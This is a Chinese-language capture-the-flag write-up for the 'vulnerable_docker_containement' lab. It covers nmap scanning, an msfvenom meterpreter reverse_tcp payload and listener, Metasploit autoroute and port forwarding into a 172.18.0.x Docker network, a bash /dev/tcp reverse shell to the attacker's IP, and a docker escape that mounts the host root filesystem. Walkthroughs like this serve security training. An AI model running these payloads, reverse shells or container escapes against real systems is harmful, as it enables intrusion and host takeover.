vulnerable_docker_containement(hard难度)MSF内网穿透、docker逃逸、wpscan爆破。

发布于:2025-06-16 ⋅ 阅读:(18) ⋅ 点赞:(0)

一、信息收集

1、主机发现

arp-scan -l

2、端口扫描

nmap -sS -sV 192.168.66.146 nmap -p- -Pn -sC -sV -n 192.168.66.146 whatweb -v 192.168.66.146

22/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 

8000/tcp open  http    Apache httpd 2.4.10 ((Debian))

ok,这里扫出来两个端口,一个8000端口一个22端口,我们先看看8000端口有什么东西

3、目录扫描,指纹识别

这个hard难度我打开的时候就已经有之前的缓存了,哪我们直接连接shell即可

4、gitshell,内网信息收集

内网收集

ok,这里找到了个ip,应该和上台靶机一样的 老规矩,探测一下内网存活i

for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

5、代理搭建

这里直接使用msf模块

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.66.129 LPORT=9999 -f elf > hzy

使用MSF创建稳定shell

我们下载下来,然后kali上开一个监听

use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp 
msf6 exploit(multi/handler) > set lhost 192.168.66.129
msf6 exploit(multi/handler) > set lport 9999
msf6 exploit(multi/handler) > run

ok,这里拿到了不稳定的shell,接下来我们弹一条shell

添加路由,搭建代理

meterpreter > route

IPv4 network routes
===================

    Subnet      Netmask      Gateway     Metric  Interface
    ------      -------      -------     ------  ---------
    0.0.0.0     0.0.0.0      172.18.0.1  0       eth0
    172.18.0.0  255.255.0.0  0.0.0.0     0       eth0

No IPv6 routes were found.
meterpreter > run post/multi/manage/autoroute

[*] Running module against 172.18.0.2
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.18.0.0/255.255.0.0 from host's routing table.
meterpreter > run auturoute -p

[-] The specified meterpreter session script could not be found: auturoute
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   172.18.0.0         255.255.0.0        Session 1


6、内网扫描同网段主机

这里我们直接用net.sh脚本扫内网存活主机了

这里端口转发就要msf的了,比较方便

怪可爱的,msf的logo

portfwd add -l 8022 -p 8022 -r 172.18.0.4

转发成功,访问8022端口

ok,转发成功,这里反弹一个shell,因为这个是docker环境,不能做什么操作 bash -i >& /dev/tcp/192.168.66.129/7777 0>&1 这里出了点问题,就是我的kali端口转发后访问127.0.0.1:8022端口后的页面关闭了之后就再也无法访问了,这里就借鉴其他师傅的wp了。

卡在这个页面再也不动了,有知道的师傅可以评论

apt update
apt install python docker wget
如果docker无法安装成功,可以通过在其他主机上复制docker二进制文件,并下载到容器中

7.使用Python创建虚拟终端

python -c 'import pty; pty.spawn("/bin/bash")' ./docker run -it -v /:/host ubuntu bash cd /host

8.获取flag

这个好像和easy难度没什么区别,如果前面步骤有不懂的可以参考easy难度,哪个写的更完整


网站公告

今日签到

点亮在社区的每一天
去签到